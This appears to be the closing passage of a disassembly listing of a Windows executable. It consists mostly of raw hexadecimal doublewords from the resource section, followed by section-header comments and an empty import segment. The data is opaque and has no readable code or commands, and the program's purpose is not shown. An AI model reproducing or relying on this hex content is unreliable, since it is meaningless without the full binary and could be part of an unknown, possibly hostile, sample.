9DB5F9E3h dd 0BC4D9B87h, 77045E48h, 1FC92435h, 0A999DCC1h, 4668899Bh dd 341A2921h, 0E694E2E5h, 9560A9A9h, 5F0B5249h, 0EBCE0303h dd 0B6B4E6D5h, 6A536975h, 36863D2Ah, 0C9B7EBF8h, 8475AB97h dd 41672E5Ah, 0F9FA2878h, 0A789124Dh, 722D7563h, 2FA3978h dd 0C3B4CFD2h, 904BC58Bh dd 66D5953h, 0B2FCC336h, 0BA6BA4A1h, 52227D71h, 34C50A54h dd 0F19389FAh, 2664BABDh, 221D4B1Bh, 908DF2F3h, 0E5083984h dd 0AE0E1C1Ch, 49BD808Bh, 0AC6276B0h, 0E31CAEFh, 7456D1BAh dd 4A048EBFh, 875EACC6h, 0D6EFA83Ah, 0D8A45D45h, 0BEC08B14h dd 2BB86428h, 7CF651B3h, 853C2B1Bh, 829CE0D0h, 58C77C29h dd 8629F8D0h, 5DF68F94h, 2C6A3E8Ch, 2002AE53h, 4E9B1267h dd 191E591Ch, 0BADFBEFDh, 0E7B44D50h, 0D9FEC6C2h, 1ADCED46h dd 84936C76h, 0B7DDA62Dh, 178E7563h, 26213A09h, 69B5EE83h dd 0D1298758h, 0F2C9A18h, 4EF676Ah, 0BFE4A544h, 4968A4F6h dd 1834056Fh, 8357748Bh, 0E20CE5F9h, 594354E0h, 15493A68h dd 38144B4Dh, 221E276Bh, 28BFCD49h, 4E196D91h, 0F113DCD6h dd 641D617Bh, 0C186223Dh, 30F2F7F0h, 29111B93h, 9AC6B850h dd 185C6565h, 0F82BC81Bh, 42672B47h, 194F2F79h, 0D6CAEFE2h dd 204503E5h, 38CB0457h, 0E69CF4E8h, 0AB66B0B8h, 0B6383775h dd 0A3936815h, 0DE0523CAh, 60111615h, 21C33310h, 291EFCA9h dd 71BDF1Ah, 24F70Dh, 0F1EE8BE2h, 0E609BAD3h, 0CF025D1Dh dd 4AB596F2h, 3B1032B1h, 8262D88Fh, 6950BAD3h, 384B0290h dd 8410E9FDh, 22337625h, 0D3A56E6Fh, 0B97A47E9h, 0E93A332Fh dd 50AF80D8h, 0AAC57F97h, 0A64DE1E1h, 0D507E69h, 0C5E13258h dd 92623FC0h, 0F5423B26h, 678C555Eh, 0C3A6ECE9h, 9A548781h dd 0B93B3472h, 0A09EA7E8h, 3F7A41C7h, 2B4A233Ah, 3C19D06Ah dd 31DE97BCh, 3304066Ah, 0D88D6A3Ah, 978CA9C5h, 0E202A75Dh dd 99DC1A19h, 76AB7D3Ch, 1D5823F4h, 0E32FC8DBh, 0AA86B0BEh dd 3B464BEAh, 0EA0DE6F6h, 92FDA271h, 7EA25B4Bh, 0E8882038h dd 4766FFCFh, 5DEA4820h, 0A7C8FBC6h, 67EB5DDEh, 3C6F04C8h dd 0F3F3B2F6h, 477E319Fh, 483E3727h, 0D105573Bh, 0AEE2BB3Fh dd 0A94CB3B1h, 0D6986261h, 8D81569Fh, 0A6E3B9Ch, 0E7463F22h dd 5BBEA7DDh, 0DB32A3A2h, 0FFDB121Eh, 7A7C4ABAh, 0D83D4681h dd 8902FBDEh, 0C17E4942h, 8C689239h, 0A8AD2F6Dh, 5C7DF4C4h dd 189D0A60h, 5B40777Bh, 0D71C9E56h, 6E2C4B1Eh, 89A58F5Ch dd 402F4E4Dh, 1002EEB0h, 0E0A2011h, 214B46A2h, 0EF20E994h dd 680A7577h, 0D2F43F20h, 0E1DA2D45h, 82C50334h, 61B46163h dd 0DED17F59h, 0F6140996h, 8302C2Dh, 0DAEC213Bh, 98B3EE88h dd 8BBD0B47h, 68BC7914h, 0B2D69377h, 0AE68BAE9h, 263D4051h dd 0D0D00B12h, 4E0098C8h, 257A38CBh, 9021D0CFh, 0D1DE978Ah dd 428F138h, 0B172516Dh, 0A8909C10h, 319342CFh, 0A0512A05h dd 47B6A3D9h, 96B7F8AEh, 27CA6D07h, 92FA4273h, 4F560181h dd 0BB0DE6C8h, 63594B75h, 7FA0033Eh, 1A1335B6h, 0ECCD1DE8h dd 6F3CC9B5h, 0A7CBA481h, 7A7DD5AAh, 0C360293Ah, 0B6861AE6h dd 0D0F855BDh, 49680807h, 57C2111Eh, 0E297B2A9h, 6CE2E6A9h dd 43581D71h, 8DB513E9h, 6271C5C4h, 217708B8h, 0C62CD701h dd 5DDB948Eh, 0FFDA1F60h, 4A6F34DFh, 0DAF0D581h, 8B468282h dd 65025338h, 320D9E60h, 38E29B86h, 3DA8FA34h, 0C1763F3Dh dd 9CC08CE1h, 13BF5ED3h, 68552E06h, 5756D5E5h, 9001B282h dd 93CC030Dh, 6A518BFAh, 20C89091h, 0EF11D8CBh, 38CCC9A7h dd 0EBF26F70h, 0CDF0B8BBh, 3B9691FBh, 0A5044E7Eh, 0ABCF9908h dd 9CCD69B2h, 0D59B7F2Dh, 8A9E5BBAh, 0A1A10144h, 0DCB6406h dd 0FD725655h, 0B2E78CF6h, 40A20802h, 475C1592h, 1C9F0A7Eh dd 0EC20634Dh, 0B3B44413h, 70A572E4h, 3ED06822h, 529F378h dd 0C47F7CB7h, 168D7986h, 0D4277655h, 0D0D7DD1Bh, 799C554Bh dd 0C38CAFC5h, 98CFFB93h, 574A6F81h, 0AE3B750Dh, 0EC0FB75Ch dd 0A3D4B123h, 80934CCFh, 99BFA6DDh, 388D94FEh, 9E074B7Bh dd 0A98C109Ah, 4E9BDFDFh, 3D510AEEh, 0F6437CC5h, 0B90A4148h dd 1B40099Ch, 0EC6C780Ch, 5080B9A8h, 0CA32D673h, 96D4BF31h dd 3FB34C5Bh, 2EAF2EC4h, 0B7C5EEF0h, 6CA27BE6h, 0A2B4A5C9h dd 5326EFEDh, 8AE5C66Bh, 18BAB3AEh, 6D10E988h, 1A7F5782h dd 0C2963261h, 9AA727A1h, 1CD37E1h, 41760A42h, 0D7D388C0h dd 0CC4FDFD7h, 3DB79F17h, 2DA889A8h, 0D6CEF7B8h, 9C64CF02h dd 6B52B8F5h, 0A5D47992h, 0DE37DBDCh, 147D5E11h, 0BE875E51h dd 0E0D49F9Eh, 60197D3Dh, 68F56A6Fh, 0E299D6D3h, 84DE3C3h dd 714ECBBBh, 276BF978h, 0BFF9C2C2h, 4C135D0Ch, 454FC2A9h dd 3E53A190h, 0FE12FED8h, 538E365Fh, 0C3BA4914h, 0DD01CF21h dd 43693314h, 8EC15F54h, 8BCB4C3Dh, 0AEE70F2h, 387FD66Dh dd 9ABE878Fh, 0C5D06C5Ch, 7C041C2Ch, 555CF399h, 362B080h dd 0BBBCAE84h, 584B68BAh, 0B7F72B0Ch, 600FD8E9h, 774DDA9h dd 0EB6A466Eh, 98B8E6B8h, 398497FDh, 0A7004C7Ch, 38E2E896h dd 419A1E6Bh, 3E5207D4h, 265E78C5h, 3A96AFCAh, 0E3BEFC53h dd 859C2632h, 0B1A21394h, 3494020Ch, 0F8E7FD19h, 8F845183h dd 2E796335h, 0DC1AABFBh, 5DBFEDCFh, 0D86026A4h, 327C0FBh dd 7C19104Dh, 69BB84F6h, 0D129A758h, 0D5ED9918h, 759A534Ch dd 3A23BCD8h, 0A1ED750h, 54784141h, 0B03C0E4Dh, 0CD5E5h dd 0CCA8DE28h, 7DA5A837h, 0E9140139h, 0ED63FECEh, 6C5345DCh dd 59311193h, 0F1A858D2h, 0BED72728h, 85984171h, 30A4BBD6h dd 29115B93h, 6C47D550h, 0ADD13E1Eh, 0A8DBCFE4h, 1265457Fh dd 8CD87813h, 803AC3C3h, 0BB49BF2h, 920C5867h, 865DAD5Eh dd 7623ECEFh, 795E30B3h, 98350C80h, 5302FBFAh, 187D0580h dd 18C5315Fh, 291EFAA9h, 71BD8E6h, 5E8AC6BDh, 9BBB880Ch dd 1909B8D2h, 641AA8h, 6B0B9867h, 47E8819Dh, 8B3D0403h dd 597C46AFh, 93DD0A19h, 2723D9EAh, 680AE726h, 0D3A1043Eh dd 0FCE80D46h, 83C50333h, 60B466B8h, 2EC15712h, 0F518E224h dd 0BAEAE51Fh, 899D4669h, 0BBA69191h, 1D4D0B15h, 2219AA04h dd 34D6AFB2h, 82A4E628h, 0CF6B3430h, 0A0855DF8h, 91740BC7h dd 4419AB29h, 0BCA75D5Bh, 492966A6h, 86A11018h, 4D420B15h dd 2F80CE0Fh, 0E206D402h, 0ED52C82Ah, 976C9594h, 0F0C22B24h dd 4ECF8C7h, 0AC7F09F5h, 0CC4EBA6Fh, 0A9BAD9CEh, 7D882235h dd 7D8AAA00h, 97D63465h, 0EA589688h, 0DEC9573Eh, 0D5CB9FEEh dd 0CE5F5601h, 3F4B6AA2h, 0C2246231h, 90443F5h, 9F05C624h dd 64B8614Ah, 0EA59C258h, 7195E9C1h, 43673088h, 0BC72BA49h dd 0E7D5F3F6h, 10683F20h, 20E41778h, 0C5B6CDD0h, 6E4DC38Dh dd 40635851h, 0F2D1BDA2h, 0BA6FAAB9h, 4A3F6536h, 7FF425Dh dd 92DBDADEh, 435FBADBh, 2219504Dh, 0F2D6A6E8h, 9526BDB5h dd 586B327Dh, 5BBC5655h, 0B18CD8C5h, 3003C694h, 3D15202Fh dd 95FBFBF9h, 9664AAFBh, 1B66414Ah, 0E7D70112h, 0FDD5CADFh dd 38063D26h, 0F62B27h, 0A6F0F2F5h, 7DE66AE8h, 705337A0h dd 9E3C677h, 7A05C428h, 21C3027Eh, 6FE1E21h, 39156BEAh dd 0E6AD6217h, 0F76B0404h, 945CFD42h, 358A663Ah, 50652C92h dd 6ED3D6ABh, 66017883h, 4B6ACC2Fh, 0A607627Fh, 7042AECAh dd 0E306CDE3h, 2D514272h, 86733F64h, 0B51A5153h, 17A273D8h dd 0DB797273h, 6FE88DB9h, 0D8315B99h, 0B2FCD2DFh, 7EDCE6B5h dd 0EE59003Bh, 0E0CB0030h, 920A89EEh, 1A469F7Fh, 0F225F021h dd 0FBFA2D5h, 0E796DFBAh, 0AAC8BBCFh, 3A130A70h, 10D56EFBh dd 0DAFDA077h, 8C1DDA38h, 0C855D2D8h, 0DE37BD7Bh, 0D7FCF5F4h dd 641F5533h, 56A32E58h dd 0B589E7F1h, 0FF00C598h, 776FC7C8h, 94F4D6C9h, 8F3EDEBFh dd 5D4E475Eh, 20D95C6Bh, 38EDABFAh, 0F7D30BB5h, 6225BAC1h dd 0AF2B89B9h, 18F44C3Ah, 0C5695E1h, 38D1213Fh, 3BCE36BDh dd 470E0303h, 55331304h, 5B398C15h, 0AC46E724h, 0BD531715h dd 7C599161h, 99A3E987h, 11BF0B4Bh, 527AB1B0h, 56E17043h dd 72161D1Dh, 0BF9BD0D4h, 9C46A544h, 3CF8C1C1h, 0E1BCF252h dd 688D56BDh, 5F56FD9Fh, 0FD11C3D0h, 476D07DDh, 0A3491B7Eh dd 0EC237C43h, 0AF2F1423h, 2328DE7Fh, 0BBDF9897h, 0ABC1F884h dd 0A68CC3C2h, 99BD8795h, 0A93951B6h, 26D71441h, 0F39C6564h dd 1CE593F1h, 5D0B789Fh, 0AFFF4C01h, 56C48D8Eh, 0CC0EC19Bh dd 0B3562223h, 80A36C86h, 0C8B1F541h, 14D9850Eh, 20034B4Bh dd 88ECB5B5h, 2792D0FFh, 0D5612A2Ah, 785489D3h, 0D13C3CB1h dd 59CB0908h, 75C0D85Ah, 0ABA75CB7h, 0FFF527D5h, 0EE0FA32h dd 0A536F56Bh, 30FDF6F5h, 0DDB7EC59h, 6C92F4B1h, 91412EA3h dd 226DFDDh, 7B4012A5h, 69D46B82h, 640B3233h, 2A4F1898h dd 44BAD7EAh, 0E068AC9Bh, 0E1F3F5C9h, 0AC88BD17h, 0D740F7F8h dd 0E80BB4F0h, 64A894FFh, 0F1B4136Ah, 0F6FAB306h, 14EFEFDh dd 5B78B4F1h, 3BC692h, 0F2F1DA6Dh, 640282D4h, 16967F23h dd 0CE733D36h, 915A0505h, 9D79D4DFh, 49007166h, 7C401C1Ch dd 0B662264h, 8DEEF568h, 5CD181E9h, 1F44528Bh, 49C89056h dd 93F88180h, 750AA063h, 0CDE6267Fh, 9287B058h, 0AE0980F0h dd 2F069C17h, 0F2861D5Fh, 30E0F1CBh, 361ADC77h, 58363C3Dh dd 0A9EEC486h, 0C783B503h, 77519378h, 499ADBE5h, 0CCE7B080h dd 0F1CD6E7Eh, 7BCEBBBAh, 5DC5BEBFh, 0DD23B54Ch, 28EFDC24h dd 7EA45D5Eh, 0FBC57A2Dh, 1EB48F02h, 0D2837C7Ch, 99FD8503h dd 9E45B1E0h, 39D7D42Bh, 77AC4545h, 0E2DADA2Ah, 1BF4F509h dd 998B6463h, 80FE5308h, 4AA65E7h, 0BA6A031Ch, 0BF847EC9h dd 4C0191C6h, 23793E4Dh, 5D94F9D9h, 74DDA694h, 227F006h dd 4D1B6739h, 0BC566902h, 115DCEFDh, 53D5D817h, 0F09A5377h dd 77676E6Ch, 0CB210709h, 646D39C4h, 8EFF488Bh, 9C0CFFD5h dd 4FD6463Ch, 0CCD664Eh, 2F8BA7C1h, 0EDCA013Ah, 7974D3Ch dd 4E366D6Eh, 0EEC230Fh, 16A10949h, 979C270Ah, 0CFF29E04h dd 0BCD56606h, 1678AFAFh, 899511A3h, 7AE69D4h, 0C9661F01h dd 0DD67129h, 0A5F8C5F9h, 202D5828h, 0E18FA757h, 0E6D9C865h dd 56B613BBh, 0CA6E071Ah, 0AD398944h, 823DF496h, 0EECE1560h dd 8F9F885Bh, 0C3095556h, 66D40B0Ch, 510186FDh, 2A548888h dd 0E609FD6Ah, 3044F51Dh, 5A5C6767h, 0C4D809B1h, 0CDAFBFBh dd 9B7C4546h, 0F74B8FB4h, 0C0DDD5FEh, 445BDCA6h, 824D0E76h dd 47EFB8B9h, 4B0A2757h, 8D0557C6h, 0AAFEBC20h, 0AF6E609h dd 3BA14DD3h, 150Dh dup(0) _rsrc ends ; Section 3. (virtual address 00028000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00027200 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 428000h dd 80h dup(0) align 1000h _idata2 ends end start